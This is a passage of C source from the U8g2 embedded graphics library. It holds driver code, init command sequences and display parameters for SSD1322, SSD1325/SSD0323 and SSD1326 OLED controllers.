/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 0x000, /* pixel_width = */ 240, /* pixel_height = */ 128 }; static const uint8_t u8x8_d_ssd1322_240x128_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_CA(0xfd, 0x12), /* unlock */ U8X8_C(0xae), /* display off */ U8X8_CA(0xb3, 0x91), /* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec) */ U8X8_CA(0xca, 0x7f), /* multiplex ratio 1/128 Duty (0x0F~0x7F) */ U8X8_CA(0xa2, 0x00), /* display offset, shift mapping ram counter */ U8X8_CA(0xa1, 0x00), /* display start line */ //U8X8_CAA(0xa0, 0x14, 0x11), /* Set Re-Map / Dual COM Line Mode */ U8X8_CAA(0xa0, 0x36, 0x011), /* Set Re-Map / Dual COM Line Mode */ U8X8_CA(0xab, 0x01), /* Enable Internal VDD Regulator */ U8X8_CAA(0xb4, 0xa0, 0x005|0x0fd), /* Display Enhancement A */ U8X8_CA(0xc1, 0x9f), /* contrast */ U8X8_CA(0xc7, 0x0f), /* Set Scale Factor of Segment Output Current Control */ U8X8_C(0xb9), /* linear grayscale */ U8X8_CA(0xb1, 0xe2), /* Phase 1 (Reset) & Phase 2 (Pre-Charge) Period Adjustment */ U8X8_CAA(0xd1, 0x082|0x020, 0x020), /* Display Enhancement B */ U8X8_CA(0xbb, 0x1f), /* precharge voltage */ U8X8_CA(0xb6, 0x08), /* precharge period */ U8X8_CA(0xbe, 0x07), /* vcomh */ U8X8_C(0xa6), /* normal display */ U8X8_C(0xa9), /* exit partial display */ U8X8_DLY(1), /* delay 2ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1322_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1322_240x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_240x128_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_ssd1322_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=========================================================*/ /* NHD-2.7-12864WDW3-M http://www.newhavendisplay.com/nhd2712864wdw3m-p-9546.html http://www.newhavendisplay.com/specs/NHD-2.7-12864WDW3-M.pdf It looks like that only every second pixel is connected to the OLED */ uint8_t u8x8_d_ssd1322_common2(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x; uint8_t y, c; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x0C1 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1322 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 2; // only every 4th col can be addressed x *= 2; // only every second pixel is used in the 128x64 NHD OLED x += u8x8->x_offset; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address, moved out of the loop (issue 302) */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+1 ); /* end */ u8x8_cad_SendCmd(u8x8, 0x05c ); /* write to ram */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1322_4to32(u8x8, ptr)); ptr += 4; x += 2; u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+1 ); /* end */ u8x8_cad_SendCmd(u8x8, 0x05c ); /* write to ram */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1322_4to32(u8x8, ptr)); ptr += 4; x += 2; c--; } while( c > 0 ); //x += 2; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const uint8_t u8x8_d_ssd1322_128x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CAA(0x0a0, 0x016, 0x011), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1322_128x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CAA(0x0a0, 0x004, 0x011), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ssd1322_128x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1322: 2 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1322: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1322: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 10000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* SSD1322: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* 128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 28, /* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 28, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_ssd1322_128x64_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_CA(0xfd, 0x12), /* unlock */ U8X8_C(0xae), /* display off */ U8X8_CA(0xb3, 0x91), /* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec) */ U8X8_CA(0xca, 0x3f), /* multiplex ratio 1/64 Duty (0x0F~0x3F) */ U8X8_CA(0xa2, 0x00), /* display offset, shift mapping ram counter */ U8X8_CA(0xa1, 0x00), /* display start line */ U8X8_CA(0xab, 0x01), /* Enable Internal VDD Regulator */ /* A[0]=0b, Horizontal address increment [reset] *** A[0]=1b, Vertical address increment A[1]=0b, Disable Column Address Re-map [reset] A[1]=1b, Enable Column Address Re-map *** A[2]=0b, Disable Nibble Re-map [reset] A[2]=1b, Enable Nibble Re-map *** A[4]=0b, Scan from COM0 to COM[N –1] [reset] A[4]=1b, Scan from COM[N-1] to COM0, where N is the *** Multiplex ratio A[5]=0b, Disable COM Split Odd Even [reset] *** A[5]=1b, Enable COM Split Odd Even B[4], Enable / disable Dual COM Line mode 0b, Disable Dual COM mode [reset] 1b, Enable Dual COM mode (MUX ≤ 63) 0x16 = 00010110 */ //U8X8_CAA(0xa0, 0x14, 0x11), /* Set Re-Map / Dual COM Line Mode */ //U8X8_CAA(0xa0, 0x06, 0x011), /* Set Re-Map / Dual COM Line Mode */ U8X8_CAA(0xa0, 0x16, 0x011), /* Set Re-Map / Dual COM Line Mode (NHD-2.7-12864WDW3-M datasheet) */ U8X8_CA(0xc7, 0x0f), /* Set Scale Factor of Segment Output Current Control */ U8X8_CA(0xc1, 0x9f), /* contrast */ //U8X8_CA(0xb1, 0xe2), /* Phase 1 (Reset) & Phase 2 (Pre-Charge) Period Adjustment */ U8X8_CA(0xb1, 0xf2), /* Phase 1 (Reset) & Phase 2 (Pre-Charge) Period Adjustment (NHD-2.7-12864WDW3-M datasheet) */ U8X8_CA(0xbb, 0x1f), /* precharge voltage */ //U8X8_CAA(0xb4, 0xa0, 0x005|0x0fd), /* Display Enhancement A */ U8X8_CAA(0xb4, 0xa0, 0x0fd), /* Display Enhancement A (NHD-2.7-12864WDW3-M datasheet) */ U8X8_CA(0xbe, 0x04), /* vcomh (NHD-2.7-12864WDW3-M datasheet) */ U8X8_C(0xb9), /* linear grayscale */ //U8X8_CAA(0xd1, 0x082|0x020, 0x020), /* Display Enhancement B */ //U8X8_CA(0xb6, 0x08), /* precharge period */ U8X8_C(0xa6), /* normal display */ U8X8_C(0xa9), /* exit partial display */ U8X8_DLY(1), /* delay 2ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1322_nhd_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1322_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_128x64_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_128x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_128x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_ssd1322_common2(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1325.c ================================================ /* u8x8_d_ssd1325.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SSD1325: 128 x 80, 16 Gray Scale Dot Matrix SSD0323: Identical to SSD1325, issue 720 */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1325_128x64_nhd_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1325_128x64_nhd_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1325_128x64_nhd_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x052), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1325_128x64_nhd_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x041), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* input: one tile (8 Bytes) output: Tile for SSD1325 (32 Bytes) */ static uint8_t u8x8_ssd1325_8to32_dest_buf[32]; static uint8_t *u8x8_ssd1325_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1325_8to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; if ( b&1 ) v |= 0x0f; *dest = v; dest+=4; a >>= 1; b >>= 1; } } return u8x8_ssd1325_8to32_dest_buf; } /*===================================================================*/ static uint8_t u8x8_d_ssd1325_128x64_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1325_128x64_nhd_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_powersave1_seq); break; /* handled by the calling function case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; */ #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1325 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 4; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; y += u8x8->x_offset; /* x_offset is used as y offset for the SSD1325 */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { if ( ptr[0] | ptr[1] | ptr[2] | ptr[3] | ptr[4] | ptr[5] | ptr[6] | ptr[7] ) { /* draw the tile if pattern is not zero for all bytes */ u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1325_8to32(u8x8, ptr)); } else { /* tile is empty, use the graphics acceleration command */ u8x8_cad_SendCmd(u8x8, 0x024 ); // draw rectangle u8x8_cad_SendArg(u8x8, x ); u8x8_cad_SendArg(u8x8, y ); u8x8_cad_SendArg(u8x8, x+3 ); u8x8_cad_SendArg(u8x8, y+7 ); u8x8_cad_SendArg(u8x8, 0 ); // clear } ptr += 8; x += 4; c--; } while( c > 0 ); //x += 4; arg_int--; } while( arg_int > 0 ); u8x8_cad_SendCmd(u8x8, 0xe3); // no-op needs to be sent after last byte before cs is toggled. u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*===================================================================*/ /* http://www.newhavendisplay.com/app_notes/OLED_2_7_12864.txt */ static const uint8_t u8x8_d_ssd1325_128x64_nhd_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0b3, 0x091), /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio: 0x03f * 1/64 duty */ U8X8_CA(0x0a2, 0x04c), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a1, 0x000), /* display start line */ U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ U8X8_CA(0x0a0, 0x052), /* remap configuration, horizontal address increment (bit 2 = 0), enable nibble remap (upper nibble is left, bit 1 = 1) */ U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ U8X8_C(0x0b8), /* set gray scale table */ U8X8_A(0x001), /* */ U8X8_A(0x011), /* */ U8X8_A(0x022), /* */ U8X8_A(0x032), /* */ U8X8_A(0x043), /* */ U8X8_A(0x054), /* */ U8X8_A(0x065), /* */ U8X8_A(0x076), /* */ U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..128, Newhaven: 0x040 */ U8X8_CA(0x0b2, 0x051), /* frame frequency (row period) */ U8X8_CA(0x0b1, 0x055), /* phase length */ U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0b4, 0x002), /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CA(0x0b0, 0x028), /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CA(0x0be, 0x01c), /* VCOMH voltage */ U8X8_CA(0x0bf, 0x002|0x00d), /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_CA(0x023, 0x003), /* graphics accelleration: fill pixel */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_nhd_ssd1325_128x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* SSD1325 */ /* sck_pulse_width_ns = */ 100, /* SSD1325 */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* SSD1325 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 0, /* x_offset is used as y offset for the SSD1325 */ /* flipmode_x_offset = */ 8, /* x_offset is used as y offset for the SSD1325 */ /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_ssd1325_nhd_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_nhd_ssd1325_128x64_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return u8x8_d_ssd1325_128x64_generic(u8x8, msg, arg_int, arg_ptr); } /*===================================================================*/ /* OSRAM Pictiva 128x64 OLED */ /* https://github.com/olikraus/u8g2/issues/720 */ static const uint8_t u8x8_d_ssd0323_os128064_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0b3, 0x091), /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio: 0x03f * 1/64 duty */ U8X8_CA(0x0a2, 0x040), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a1, 0x000), /* display start line */ U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ U8X8_CA(0x0a0, 0x052), /* remap configuration, horizontal address increment (bit 2 = 0), enable nibble remap (upper nibble is left, bit 1 = 1) */ U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ U8X8_C(0x0b8), /* set gray scale table */ U8X8_A(0x001), /* */ U8X8_A(0x011), /* */ U8X8_A(0x022), /* */ U8X8_A(0x032), /* */ U8X8_A(0x043), /* */ U8X8_A(0x054), /* */ U8X8_A(0x065), /* */ U8X8_A(0x076), /* */ U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..128, Newhaven: 0x040 */ U8X8_CA(0x0b2, 0x051), /* frame frequency (row period) */ U8X8_CA(0x0b1, 0x055), /* phase length */ U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0b4, 0x002), /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CA(0x0b0, 0x028), /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CA(0x0be, 0x01c), /* VCOMH voltage */ U8X8_CA(0x0bf, 0x002|0x00d), /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_CA(0x023, 0x003), /* graphics accelleration: fill pixel */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd0323_os128064_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x052), /* remap */ U8X8_CA(0x0a2, 0x040), /* display offset, shift mapping ram counter */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd0323_os128064_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x041), /* remap */ U8X8_CA(0x0a2, 0x050), /* display offset, shift mapping ram counter */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ssd0323_os128064_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* SSD1325 */ /* sck_pulse_width_ns = */ 100, /* SSD1325 */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* SSD1325 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 0, /* x_offset is used as y offset for the SSD1325 */ /* flipmode_x_offset = */ 0, /* x_offset is used as y offset for the SSD1325 */ /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_ssd0323_os128064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd0323_os128064_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd0323_os128064_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd0323_os128064_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd0323_os128064_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return u8x8_d_ssd1325_128x64_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1326.c ================================================ /* u8x8_d_ssd1326.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* ER OLED */ static const uint8_t u8x8_d_ssd1326_er_256x32_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock (not required, this is default by reset) */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0a8, 0x01f), /* multiplex ratio: 0x03f * 1/64 duty - changed by CREESOO, acc. to datasheet, 100317*/ U8X8_CA(0x0a1, 0x000), /* display start line */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ /* a0 command: 0x0a0 ***abcde a: 1: mono mode b: 0: horizontal (1: vertical) address increment c: 1: enable bit remap d: 1: COM remap e: 1: Column remap */ U8X8_CA(0x0a0, 0x006), /* remap configuration, see above */ U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ U8X8_C(0x0b7), /* set default gray scale table */ U8X8_CA(0x081, 0x027), /* contrast, brightness, 0..128 */ U8X8_CA(0x0b1, 0x071), /* phase length */ //U8X8_CA(0x0b2, 0x051), /* frame frequency (row period) */ U8X8_CA(0x0b3, 0x0f0), /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */ //U8X8_CA(0x0b4, 0x002), /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ //U8X8_CA(0x0b0, 0x028), /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CAA(0x0bb, 0x035, 0x0ff), /* set precharge */ U8X8_CA(0x0bc, 0x01f), /* pre-charge voltage level */ U8X8_CA(0x0be, 0x00f), /* VCOMH voltage */ U8X8_CA(0x0bf, 0x002|0x00d), /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_C(0x0a4), /* normal display mode */ //U8X8_CA(0x023, 0x003), /* 